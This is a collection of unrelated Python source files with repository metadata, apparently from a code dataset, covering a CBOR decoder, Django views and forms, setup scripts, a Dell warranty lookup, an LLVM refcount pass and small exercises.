OPTIONS = { "nopython": bool, "forceobj": bool, "looplift": bool, "wraparound": bool, "boundcheck": bool, } # ---------------------------------------------------------------------------- # Internal def remove_refct_calls(func): """ Remove redundant incref/decref within on a per block basis """ for bb in func.basic_blocks: remove_null_refct_call(bb) remove_refct_pairs(bb) def remove_null_refct_call(bb): """ Remove refct api calls to NULL pointer """ for inst in bb.instructions: if isinstance(inst, lc.CallOrInvokeInstruction): fname = inst.called_function.name if fname == "Py_IncRef" or fname == "Py_DecRef": arg = inst.operands[0] if isinstance(arg, lc.ConstantPointerNull): inst.erase_from_parent() def remove_refct_pairs(bb): """ Remove incref decref pairs on the same variable """ didsomething = True while didsomething: didsomething = False increfs = {} decrefs = {} # Mark for inst in bb.instructions: if isinstance(inst, lc.CallOrInvokeInstruction): fname = inst.called_function.name if fname == "Py_IncRef": arg = inst.operands[0] increfs[arg] = inst elif fname == "Py_DecRef": arg = inst.operands[0] decrefs[arg] = inst # Sweep for val in increfs.keys(): if val in decrefs: increfs[val].erase_from_parent() decrefs[val].erase_from_parent() didsomething = True
UTF-8
Python
false
false
2,014
3,100,966,425,379
3eac45604609faeae3b18bed51aca8802fc7f978
437b6e23eda9a59081c64b7edcfa9efbae2a8236
/setup.py
bc13ca360a08103ffd74d74aedac3708ada04956
[ "MIT" ]
permissive
bohana/cbrpy
https://github.com/bohana/cbrpy
25dc2f1e71419f608b132731e8ca00f15a99636a
fca7f28ef3ed0ace829f98f5d0217b7d93b9fa3f
refs/heads/master
2016-09-05T16:56:11.131868
2014-02-02T19:53:09
2014-02-02T19:53:09
15,642,633
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
''' setup.py for cbrpy ''' from distutils.core import setup setup( name='CBRpy', version='0.1.17ev', author='Bruno Ohana', author_email='[email protected]', packages=['cbrpy', 'cbrpy.tests'], #package_data={'sentlex': ['data/*.dat', 'data/*.lex', 'data/*.txt']}, #scripts=['bin/sentutil'], url='https://github.com/bohana/cbrpy', license='LICENSE', description='A library for doing Case-Based Reasoning in Python.', long_description=open('README.md').read(), install_requires=[ "simplejson>=3.3.0" ], )
UTF-8
Python
false
false
2,014
12,455,405,184,886
867fb65782a48daeea33339effcd736e20292a95
ac79941dfa15c745b296fdebc8a2ee1069e43fc2
/codechef/coprime3.py
e15a8abd0ae104841dade58fbf591e1e55d8de70
[]
no_license
jdelfino/practice
https://github.com/jdelfino/practice
db7f75e26a65f9e98fa158f9ec49acb131fa2347
42bbd2f82e100035cd7199e7c79cedb28a46dd70
refs/heads/master
2016-09-06T11:50:15.346756
2014-07-09T13:13:34
2014-07-09T13:13:34
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import fileinput import itertools from fractions import gcd import sys import random def isPrime(n): for i in range(2,int(n**0.5)+1): if n%i==0: return False return True def smart(nums): num = len(nums) count = 0 for xnum, x in enumerate(itertools.islice(nums, num-2)): for ynum, y in enumerate(itertools.islice(nums, xnum+1, num - 1), xnum+1): outer_gcd = gcd(xnum, ynum) if outer_gcd == 1: count += num - ynum - 1 continue else: for znum, z in enumerate(itertools.islice(nums, ynum+1, None), ynum+1): if gcd(z, outer_gcd) == 1: count += 1 return count def dumb(nums): mod_nums = [(x,y) for x,y in enumerate(nums)] res = [(x[0],y[0],z[0]) for x,y,z in itertools.combinations(mod_nums, 3) if gcd(x[1],gcd(y[1],z[1])) == 1] return len(res) def compare(nums): sm = smart(nums) du = dumb(nums) if sm != du: print ' '.join(str(x) for x in nums) def main(): if len(sys.argv) > 1: if sys.argv[1] == 'test': for j in range(3, int(sys.argv[3])): print j for i in range(int(sys.argv[2])): nums = [random.randint(1,10**6) for x in range(j)] compare(nums) return print sys.argv[1] print ' '.join(str(random.randint(1,10**6)) for x in range(int(sys.argv[1]))) return fi = fileinput.input() num = int(fi.readline().strip()) nums = [int(x) for x in fi.readline().strip().split(" ")] print smart(nums) #compare(nums) if __name__ == '__main__': main()
UTF-8
Python
false
false
2,014
3,083,786,535,392
b8b9303e012db61cb3c8e342f207859f72b3d398
3bcae0b2cddc604fdfd3a9542870350e9fef6d59
/dellinfo.py
e5232fb6d7222dac5a0eecceef7a67e0cf71f257
[]
no_license
bstinsonmhk/utils
https://github.com/bstinsonmhk/utils
3421efd1f95ecd0a859ea29359dc538e0da68af4
875bfa1f7dbf2afcabd2455e54fbbc3931ada839
refs/heads/master
2021-01-15T12:59:57.625553
2013-03-28T17:03:22
2013-03-28T17:03:22
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import re import suds import uuid def valid_servicetag(servicetag): # Keep me from doing something stupid...this is not a robust sanity check return (re.match("^[a-zA-Z0-9]{7}$",servicetag) is not None) def get_asset_information(servicetag): asset_information = {} header_attributes = [ ('purchasedate','SystemShipDate'), ('type', 'SystemType'), ('model', 'SystemModel') ] entitle_attributes = [ ('warranty_type', 'ServiceLevelCode'), ('start_date', 'StartDate'), ('end_date', 'EndDate'), ('days_left', 'DaysLeft'), ('status', 'EntitlementType'), ] appurl = 'http://xserv.dell.com/services/assetservice.asmx?WSDL' if not valid_servicetag(servicetag): raise ValueError('Service Tags should be 7 Alphanumeric characters, %s does not conform' % servicetag) suds_client = suds.client.Client(appurl) result = suds_client.service.GetAssetInformation(str(uuid.uuid1()), 'dellwarrantycheck', servicetag) # We only have one service tag, so we know for sure we will only be returned # one asset header = result.Asset[0].AssetHeaderData entitle = result.Asset[0].Entitlements[0] for ours,theirs in header_attributes: asset_information[ours] = header[theirs] asset_information['warranties'] = [] for warranty in entitle: warranty_information = {} for ours, theirs in entitle_attributes: warranty_information[ours] = warranty[theirs] asset_information['warranties'].append(warranty_information) return asset_information
UTF-8
Python
false
false
2,013
7,902,739,836,207
ea3c7f138abbe29a9ed41c90d9c86ef1fe11243d
3ad620b675b6f4f8dd19eb89321cf32faa0ee2cb
/src/python/cracking/c02linkedlists/s03deletenode.py
7b557d2f1b922c17f6377e9bd64b348287fbe495
[]
no_license
michaellossos/coding_interview
https://github.com/michaellossos/coding_interview
4722454f541881a42dd7d018e243f2b42d2b4ee8
9bbb6bb1914bf08a1d826a61c373a85d546bd4b6
refs/heads/master
2019-06-29T04:24:40.499520
2012-09-13T03:09:08
2012-09-13T03:09:08
3,237,887
9
3
null
null
null
null
null
null
null
null
null
null
null
null
null
""" Implement an algorithm to delete a node in the middle of a single linked list, given only access to that node. EXAMPLE Input: the node 'c' from the linked list a->b->c->d->e Result: nothing is returned, but the new linked list looks like a->b->d->e """ import linkedlist def delete_node(node): """ node: LinkedListNode """ if not node.next: raise Exception('Cannot delete last node in list.') node.data = node.next.data node.next = node.next.next ################################# # Tests # def _test_all(): test_list = linkedlist.create_linkedlist([0, 1, 2]) node = test_list.head.next assert node.data == 1 delete_node(node) assert str(test_list) == '[0, 2]' print 'SUCCESS' if __name__ == '__main__': _test_all()
UTF-8
Python
false
false
2,012
1,657,857,394,163
759b0dad19a6259d978cadbd34272604ca231615
7aebeeb5055ab9185e63e74adf640bf36dcc20ec
/Bordj/Forms.py
71886bd8f5ba947527a827c719ed519a04680c20
[]
no_license
Halicea/HalRepository
https://github.com/Halicea/HalRepository
52eb6e6bb9899b0fad70efbc9a829d2c08f69eb6
1b493dd0637b7bf68780d30d59e0ede0211ef85a
refs/heads/master
2021-01-21T23:14:24.309310
2011-11-24T02:07:06
2011-11-24T02:07:06
2,336,075
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from lib.djangoFormImports import widgets, fields, extras from google.appengine.ext.db.djangoforms import ModelForm from django.forms import Form from Models.BordjModels import * #{%block imports%} #{%endblock%} ############### def get_people(): return [[str(x.key()), x.Name+' '+x.Surname] for x in Person.all().fetch(limit=100, offset=0)] class DolgForm(Form): Type = fields.ChoiceField(choices=((0,'Mu Dolzam'), (1,'Mi Dolzi')), required=True, widget=widgets.RadioSelect(attrs={'style':'display: inline;margin-left: 0.5em;'}) ) Party = fields.ComboField(required=True, widget=widgets.Select(choices=get_people())) Ammount = fields.IntegerField(required=True) Note = fields.Field(widget= widgets.Textarea) #To = fields.ComboField(widget=widgets.Select(choices=[(x.Name, str(x.key())) for x in Person.all().fetch(offset=0,limit=100)])) ##End Dolg
UTF-8
Python
false
false
2,011
2,233,383,025,424
f2404bfb017d1c31857434d98e738e76a6fe7ef3
99b6b239e955b06ad01974e2bbc785da065e5dd5
/DEPRECATED/evas/setup.py
38618b1f3f611d57f9766b0848a00e39ddd6e89c
[ "LGPL-2.1-only", "GPL-2.0-only", "LGPL-2.1-or-later", "LGPL-2.0-or-later" ]
non_permissive
wangkai2014/kaa
https://github.com/wangkai2014/kaa
a6dc26b06755e0021821ab59044370d2fd8f14e6
3a9e75dc033e82ac7fff6716d32b0423dbcf2922
refs/heads/master
2020-04-06T04:41:24.067800
2011-01-25T20:33:16
2011-01-25T20:33:16
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: iso-8859-1 -*- # ----------------------------------------------------------------------------- # setup.py - Setup script for kaa.evas # ----------------------------------------------------------------------------- # $Id$ # # ----------------------------------------------------------------------------- # kaa.evas - An evas wrapper for Python # Copyright (C) 2006 Jason Tackaberry <[email protected]> # # First Edition: Jason Tackaberry <[email protected]> # Maintainer: Jason Tackaberry <[email protected]> # # This library is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License version # 2.1 as published by the Free Software Foundation. # # This library is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301 USA # # ----------------------------------------------------------------------------- # python imports import sys try: # kaa base imports from kaa.distribution.core import * except ImportError: print 'kaa.base not installed' sys.exit(1) if not check_library('evas', '0.9.9.038'): print 'Evas >= 0.9.9.038 not found' print 'Download from http://enlightenment.freedesktop.org/' sys.exit(1) files = ["src/evas.c", "src/object.c", "src/image.c", "src/text.c", 'src/gradient.c', "src/engine_buffer.c", 'src/textblock.c', 'src/polygon.c', 'src/line.c'] evasso = Extension('kaa.evas._evasmodule', files, config='src/config.h') evasso.add_library('evas') if evasso.check_cc(['<Evas.h>', '<Evas_Engine_Buffer.h>']): print "+ buffer engine" evasso.configfile.define('ENABLE_ENGINE_BUFFER') else: print "- buffer engine" evasso.config('#define BENCHMARK') evasso.config('#define EVAS_VERSION %d' % evasso.get_library('evas').get_numeric_version()) setup(module = 'evas', version = '0.1.0', license = 'LGPL', summary = 'Python bindings for Evas', rpminfo = { 'requires': 'python-kaa-base >= 0.1.2, evas >= 0.9.9.032', 'build_requires': 'python-kaa-base >= 0.1.2, evas-devel >= 0.9.9.032' }, ext_modules = [ evasso ] )
UTF-8
Python
false
false
2,011
214,748,381,427
d3ee4e1af1344b20666e08f24e582e6c77eaa046
c41926ca50200800e50bdd02822a50a09c497c51
/format_data.py
30db574c5626f40236b9654f0cd88ffb6f1b9740
[ "BSD-3-Clause" ]
permissive
SaravananThiyagarajan/problem_generator
https://github.com/SaravananThiyagarajan/problem_generator
a4501cad225ce75b3f6fd757c0fc0dad01e228ee
812cc7c9d65327fd8f602a059fb0195a07a0964a
refs/heads/master
2020-12-28T17:26:03.929086
2014-09-24T00:30:54
2014-09-24T00:30:54
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import json from data import PROBLEM_SUBJECTS from slugify import Slugify slug = Slugify(to_lower=True) slug.separator = '_' problems = { k : { 'short_name': v['short_name'], 'categories': { slug(kc): { 'short_name': kc, 'skills': { slug(skill): { 'short_name': skill, } for skill in vc } } for kc, vc in v['categories'].items() } } for k, v in PROBLEM_SUBJECTS.items() } with open('data.json', 'w') as f: f.write(json.dumps(problems, indent=4))
UTF-8
Python
false
false
2,014
10,153,302,698,920
93a471e6cd289829712d047f424c47d657c4a007
bd533053d8ac4eefea2c729922b5f867e6c9c878
/hg-graph.py
75109aa4fa5343995ed4b0d5241fe7d1a1a4a81f
[]
no_license
olomix/hg-graphviz
https://github.com/olomix/hg-graphviz
9302a2613ab7ff5611a5494f12d8901ceb1915f8
1f9b92281981b70d710965ae1bab3fb83781efd0
refs/heads/master
2016-08-04T14:47:48.535497
2013-08-01T11:04:47
2013-08-01T11:04:47
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python """ Run it: hg log -r c54441866584::default --template "{node} {children} <branch>{branch}</branch> <date>{date|isodate}</date> <desc>{desc}</desc> <user>{author}</user>\n" | hg-graph.py | dot -Tpng -o1.png """ import cgi import re import sys def print_rev(rev, branch, date, user, desc): print ( "\"{0}\" [shape=box, margin=0, label=<<table border=\"0\">" "<tr><td align=\"right\">changeset</td><td align=\"left\">{0}</td></tr>" "<tr><td align=\"right\">branch</td><td align=\"left\">{1}</td></tr>" "<tr><td align=\"right\">date</td><td align=\"left\">{2}</td></tr>" "<tr><td align=\"right\">user</td><td align=\"left\">{3}</td></tr>" "<tr><td align=\"right\">desc</td><td align=\"left\">{4}</td></tr>" "</table>>];" .format(rev, cgi.escape(branch), cgi.escape(date), cgi.escape(user), cgi.escape(desc)) ) MAIN_RE = re.compile( r'^([a-f0-9]{12})[a-f0-9]{28}((?:\s\d+\:[a-f0-9]{12})*)' r'\s<branch>(.*)</branch>' r'\s<date>(.*)</date>' r'\s<desc>(.*)</desc>' r'\s<user>(.*)</user>' '.*$', re.I) REV_RE = re.compile(r'\s\d+:([a-f0-9]{12})', re.I) seen = set() print 'digraph G {' for i in sys.stdin: m = MAIN_RE.search(i) if m: rev = m.group(1) if rev not in seen: seen.add(rev) branch = m.group(3) date = m.group(4) desc = m.group(5) user = m.group(6) print_rev(rev, branch, date, user, desc) if m.group(2): for c in REV_RE.findall(m.group(2)): child = c[-12:] print "\"{}\" -> \"{}\";".format(rev, child) print '}'
UTF-8
Python
false
false
2,013
3,315,714,800,271
5156380d7ac54fdcaafbf90bb3c59e4e789b9331
6521bbff699492bc34abee65a8dbaebb21488211
/cbor/decoder.py
cd70ec2ca8a7fa081d19251bb750d1accf0eb830
[ "BSD-3-Clause" ]
permissive
svartalf/python-cbor
https://github.com/svartalf/python-cbor
c261d349fcf172450cc78a8c0de2b0f981a4975d
b7a2cd725a3df4f0c43d889ffbb3c165a2e5a63b
refs/heads/master
2016-06-01T00:25:34.829493
2014-06-06T06:59:25
2014-06-06T06:59:25
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- import datetime import struct import math from cbor import constants def _parse_type(char): first_byte = ord(char) # major type major_type = (first_byte >> 5) & 0x07 # additional information additional = first_byte & 0x1f return major_type, additional def parse_unsigned_integer(s, end, additional): """A unsigned integer""" if additional <= 23: # An integer itself return additional, 1 elif additional == 24: # uint8_t return ord(s[1]), 1 elif additional == 25: # uint16_t return int(s[end:end+2].encode('hex'), 16), 2 elif additional == 26: # uint32_t return int(s[end:end+4].encode('hex'), 16), 4 elif additional == 27: # uint64_t return int(s[end:end+8].encode('hex'), 16), 8 def parse_negative_integer(s, end, additional): """A negative integer""" result, offset = parse_unsigned_integer(s, end, additional) return (-1 - result), offset def parse_bytestring(s, end, additional): """A byte string""" string_end = end + additional + 1 return (struct.unpack('{}s'.format(additional), s[end:string_end])[0]), string_end def parse_string(s, end, additional): """A text string, specifically a string of Unicode characters that is encoded as UTF-8""" result, offset = parse_bytestring(s, end, additional) return result.decode('utf-8'), offset def parse_tag(s, end, additional): major_type, tag_additional = _parse_type(s[end]) if additional == 0: # Date/time string result, offset = parse_string(s, end + 1, tag_additional) result = constants.UTC_TIMEZONE.localize(datetime.datetime.strptime(result, '%Y-%m-%dT%H:%M:%SZ')) return result, offset + 1 elif additional == 1: # numerical representation of seconds relative to 1970-01-01T00:00Z in UTC time result, offset = parse_unsigned_integer(s, end, tag_additional) return constants.UTC_TIMEZONE.localize(datetime.datetime.fromtimestamp(result)), offset + 1 elif additional == 2: # Positive bignum bytestring = struct.unpack('{}s'.format(tag_additional), s[end+1:end+10])[0] return int(bytestring.encode('hex'), 16), tag_additional + 1 elif additional == 3: # Negative bignum bytestring = struct.unpack('{}s'.format(tag_additional), s[end+1:end+10])[0] return ( -1 - int(bytestring.encode('hex'), 16)), tag_additional + 1 def parse_float(s, end, additional): if additional == 25: # IEEE 754 Half-Precision Float (16 bits follow) chars = s[end:end+2] half = (ord(chars[0]) << 8) + ord(chars[1]) exp = (half >> 10) & 0x1f mant = half & 0x3ff if exp == 0: val = math.ldexp(mant, -24) elif exp != 31: val = math.ldexp(mant + 1024, exp - 25) else: val = constants.INFINITY if mant == 0 else constants.NAN return (-val if half & 0x8000 else val), 2 elif additional == 26: # IEEE 754 Single-Precision Float (32 bits follow) return (struct.unpack('!f', s[end:end+4])[0]), 4 elif additional == 27: # IEEE 754 Double-Precision Float (64 bits follow) return (struct.unpack('!d', s[end:end+8])[0]), 8 # TODO: move it into a `constants` module _simple_values = { 20: False, 21: True, 22: None, 23: None, # TODO: `undefined` type (how?) } def parse_simple(s, end, additional): try: return _simple_values[additional], end + 1 except KeyError: raise ValueError('Wrong simple value') def parse_float_and_simple(s, end, additional): if additional <= 23: return parse_simple(s, end, additional) return parse_float(s, end, additional) _parsers = { 0: parse_unsigned_integer, 1: parse_negative_integer, 2: parse_bytestring, 3: parse_string, 6: parse_tag, 7: parse_float_and_simple, } def parse(s, idx=0): major_type, additional = _parse_type(s[idx]) parser = _parsers[major_type] return parser(s, idx+1, additional) class CBORDecoder(object): def decode(self, s): return parse(s)[0]
UTF-8
Python
false
false
2,014
120,259,094,001
266280f73531cc6d4c0b9d891cf21c78b51979ae
fa4d713b8626a52ad97fb076ba7b69c2924aee49
/data/management/commands/import_shelter_population.py
731a5e8b0af7637765dec0c1e146d799f382b9d5
[ "MIT" ]
permissive
npp/npp-api
https://github.com/npp/npp-api
f4f38e704585701d9c1aae648a3eac830d1af4cb
63952c102fa51eeab425f19daa49fe82012c53b6
refs/heads/master
2020-05-17T04:49:29.292349
2013-04-19T16:55:15
2013-04-19T16:55:15
1,681,867
2
1
null
false
2012-12-13T17:59:39
2011-04-29T18:04:35
2012-12-13T17:54:30
2012-12-13T17:54:28
184
null
0
0
Python
null
null
from django import db from django.conf import settings from django.core.management.base import NoArgsCommand from data.models import ShelterPopulation import csv # National Priorities Project Data Repository # import_new_aids_cases.py # Updated 6/25/2010, Joshua Ruihley, Sunlight Foundation # Imports Census Shelter Population Numbers # source info: http://www.census.gov/population/www/cen2000/briefs/phc-t12/index.html (accurate as of 6/25/2010) # npp csv: http://assets.nationalpriorities.org/raw_data/census.gov/use_me_shelter_population.csv (updated 6/25/2010) # destination model: ShelterPopulation # HOWTO: # 1) Download source files from url listed above # 2) Convert source file to .csv with same formatting as npp csv # 3) change SOURCE_FILE variable to the the path of the source file you just created # 5) Run as Django management command from your project path "python manage.py import_shelter_population SOURCE_FILE = '%s/census.gov/use_me_shelter_population.csv' % (settings.LOCAL_DATA_ROOT) class Command(NoArgsCommand): def handle_noargs(self, **options): data_reader = csv.reader(open(SOURCE_FILE)) def clean_float(value): if value == "": value = None return value for i, row in enumerate(data_reader): if i > 0: state = row[0] value_1990 = row[1] percent_1990 = row[2] value_2000 = row[3] percent_2000 = row[4] record_1990 = ShelterPopulation(year=1990, state=state, value=value_1990, percent=clean_float(percent_1990)) record_1990.save() record_2000 = ShelterPopulation(year=2000, state=state, value=value_2000, percent=clean_float(percent_2000)) record_2000.save()
UTF-8
Python
false
false
2,013
18,339,510,369,374
971b6e9e0b4b89ae6a658c4697a8ce66240b7d44
3d0c4321f86c3d875f449771245249bf458c3ade
/src/Enviroment/Objects.py
406bdec4ff395d8421eb362fb8b3a236a5756f5b
[]
no_license
jakubkotrla/spacemap
https://github.com/jakubkotrla/spacemap
630bfea057afcef46b93cfe06450a9e6d7a78cab
08f27a285d742971806aef88b914316c3d3785b3
refs/heads/master
2021-01-10T10:29:42.144969
2009-04-17T06:20:34
2009-04-17T06:20:34
45,355,817
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
## @package Enviroment.Objects # Contains list of object types available for worlds. from Enviroment.Affordances import * ## Represents type of object, has affordances. class Object: def __init__(self, name, affs = []): self.name = name self.affordances = affs def ToString(self): strAff = "" for aff in self.affordances: strAff = strAff + aff.name + ", " return self.name + " (" + strAff + ")" # Configuration part WaypointObject = Object('Waypoint', []) Meal = Object('Meal', [Eatability]) Sandwich = Object('Sandwich', [Eatability]) Apple = Object('Apple', [Eatability, Throwability]) Orange = Object('Orange', [Eatability, Throwability]) Sink = Object('Sink', [Wetability, Repairability]) Plate = Object('Plate', [Washability]) Cup = Object('Cup', [Washability]) Fork = Object('Fork', [Washability]) Knife = Object('Knife', [Washability, Cutability]) Pot = Object('Pot', [Washability]) Cover = Object('Cover', [Washability]) Book = Object('Book', [Readability]) Journal = Object('Journal', [Readability]) Newspapers = Object('Newspapers', [Readability]) Glasses = Object('Glasses', [Zoomability]) CocaColaCan = Object('CocaColaCan', [Drinkability]) BottleOfWine = Object('BottleOfWine', [Drinkability]) Television = Object('Television', [Watchability, Repairability]) Painting = Object('Painting', [Watchability]) Photoalbum = Object('Photoalbum', [Watchability]) Video = Object('Video', [Watchability, Repairability]) Flower = Object('Flower', [Watchability]) Chess = Object('Chess', [Playability]) Cards = Object('Cards', [Playability]) GameBoy = Object('GameBoy', [Playability]) Sofa = Object('Sofa', [Sitability]) Armchair = Object('Armchair', [Sitability]) Chair = Object('Chair', [Sitability]) Table = Object('Table', [Placeability, Repairability]) Shelf = Object('Shelf', [Placeability, Repairability]) Box = Object('Box', [Placeability, Repairability]) Door = Object('Door', [Exitability]) Hammer = Object('Hammer', [Hammerability]) Nail = Object('Nail', [Nailability]) Screwdriver = Object('Screwdriver', [Screwability]) Pipe = Object('Pipe', [Smokeability]) Wood = Object('Wood', [Fireability]) Torch = Object('Torch', [Lightability]) ## List of all available object types. Objects = [ Meal, Sandwich, Apple, Orange, Sink, Plate, Cup, Fork, Knife, Pot, Cover, Book, Journal, Newspapers, Glasses, CocaColaCan, BottleOfWine, Television, Painting, Photoalbum, Video, Flower, Sofa, Armchair, Table, Shelf, Box, Door, Hammer, Nail, Screwdriver, Pipe, Wood, Torch ]
UTF-8
Python
false
false
2,009
4,758,823,779,955
015017031876a99395de919126931e072344d71b
11c4b5746043fa6d70472315160e2984807d1299
/posts/views.py
19c1f361c61ea18636bb473d8c207c1ffc3a94a3
[]
no_license
fredchu/forum
https://github.com/fredchu/forum
d955baf1979e99fb72cdd7a1a7eb75edd5afe9b5
bfc8acda7c57c661d2782ade14aeb5734076e3b0
refs/heads/master
2021-01-01T17:21:18.180924
2013-08-01T10:05:16
2013-08-01T10:05:16
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- from django.http import HttpResponseRedirect, HttpResponse, Http404 from django.template import RequestContext, loader from django.shortcuts import render, get_object_or_404 from django.core.urlresolvers import reverse from django.core.exceptions import ValidationError import datetime from django import forms from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from posts.models import Post def index(request): return index_pages(request, 1) def index_pages(request, page): postsPaginator = Paginator(Post.objects.all(), 4, orphans=2) try: posts = postsPaginator.page(page) except (PageNotAnInteger, EmptyPage): posts = postsPaginator.page(1) return render(request, 'posts/index.html', { 'posts': posts }) def show(request, post_id): post = get_object_or_404(Post, pk=post_id) comments = enumerate( post.comment_set.all()) return render(request, 'posts/show.html', { 'post': post, 'comments': comments }) def create_page(request): return render(request, 'posts/new.html', {}) def create(request): title = request.POST['title'].strip() content = request.POST['content'].strip() post = Post( title=title, content=content ) try: post.full_clean() except ValidationError as err: return render(request, 'posts/new.html', { 'ori': { 'title': title, 'content': content }, 'err': err.message_dict }) post.save() return HttpResponseRedirect('/posts/') def edit(request, post_id): post = get_object_or_404(Post, pk=post_id) return render(request, 'posts/edit.html', { 'post': post }) def update(request, post_id): post = get_object_or_404(Post, pk=post_id) if request.POST[ 'title' ]: post.title = request.POST[ 'title' ] elif len( request.POST[ 'title' ]) == 0: post.title = '' if request.POST[ 'content' ]: post.content = request.POST[ 'content' ] elif len( request.POST[ 'content' ]) == 0: post.content = '' try: post.full_clean() except ValidationError as err: return render(request, 'posts/edit.html', { 'ori': { 'title': post.title, 'content': post.content }, 'post': post, 'err': err.message_dict }) post.save() return HttpResponseRedirect('/posts/' + post_id) def destroy(request, post_id): post = get_object_or_404(Post, pk=post_id) post.delete() return HttpResponseRedirect('/posts/')
UTF-8
Python
false
false
2,013
15,556,371,548,374
33f91f649892ba2369ff24c42bd750324fbb2210
20a75363454221a088c4bfc974c3bd1b593444d4
/RECURSION/turtle_basic.py
2b9f997bea1f1529c576e53884c33990592bfcfb
[]
no_license
shibinp/problem_solving_with_algoritms_and_datastructure
https://github.com/shibinp/problem_solving_with_algoritms_and_datastructure
2adefad4914796bf497e5e098167d3408aea7d9e
646157000eb7d6ef4b2b002eccebc15a9bf294ed
refs/heads/master
2020-05-17T20:02:38.493063
2014-11-27T08:08:10
2014-11-27T08:08:10
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import turtle turtle.shape("turtle") turtle.forward(300) turtle.right(90) turtle.forward(300) turtle.right(90) turtle.forward(300) turtle.right(90) turtle.forward(300) turtle.exitonclick()
UTF-8
Python
false
false
2,014
18,090,402,278,490
e996b68cba5e2147e86a08c7d414eb66e77bf930
599207b3a6b39bb878dc720b280c331e02ab8679
/vcsorm/decorators.py
659490d369ea37768758b9b503e9b36276296594
[]
no_license
Tefnet/python-vcsorm
https://github.com/Tefnet/python-vcsorm
f770288f1fad9730d84a340c08f05b0ae5205832
9c02dcdece341b5bdf611191410662d7065fbd35
refs/heads/master
2021-01-01T15:18:52.679870
2013-05-05T09:34:50
2013-05-05T09:34:50
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
class IterStreamer(object): """ File-like streaming iterator. """ def __init__(self, func): self.func = func def __len__(self): return self.generator.__len__() def __iter__(self): return self.iterator def __call__(self, *args, **kwargs): self.leftover = '' self.generator = self.func.__call__(self.obj, *args, **kwargs) self.iterator = iter(self.generator) return self def __get__(self, instance, owner): self.cls = owner self.obj = instance return self.__call__ def next(self): return self.iterator.next() def read(self, size): data = self.leftover count = len(self.leftover) try: while count < size: chunk = self.next() data += chunk count += len(chunk) except StopIteration, e: self.leftover = '' return data if count > size: self.leftover = data[size:] return data[:size]
UTF-8
Python
false
false
2,013
5,583,457,505,784
7db15aae9fa6603990e16a436e8c346344353e67
cb11a1e238b5254889decf5096bfbf4a8bb017fe
/python/garpi/states/lcgcmt.py
26d64f48abbd6596dc0f9e76a95829b0295e102d
[]
no_license
brettviren/garpi
https://github.com/brettviren/garpi
a9953e3bbeacfe1d1b29cc0bd4cddd6567b4cbe7
c85215ffa24b82cb5cbe94553c51940d073f60cf
refs/heads/master
2016-09-06T16:30:22.655696
2013-02-04T17:41:53
2013-02-04T17:41:53
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
''' States for getting lcgcmt installed. ''' class LcgcmtStates: def __init__(self): return def register(self,garpi): self.garpi = garpi garpi.machine.add_state('LCGCMT_START',self.start) return def start(self,cargo): return
UTF-8
Python
false
false
2,013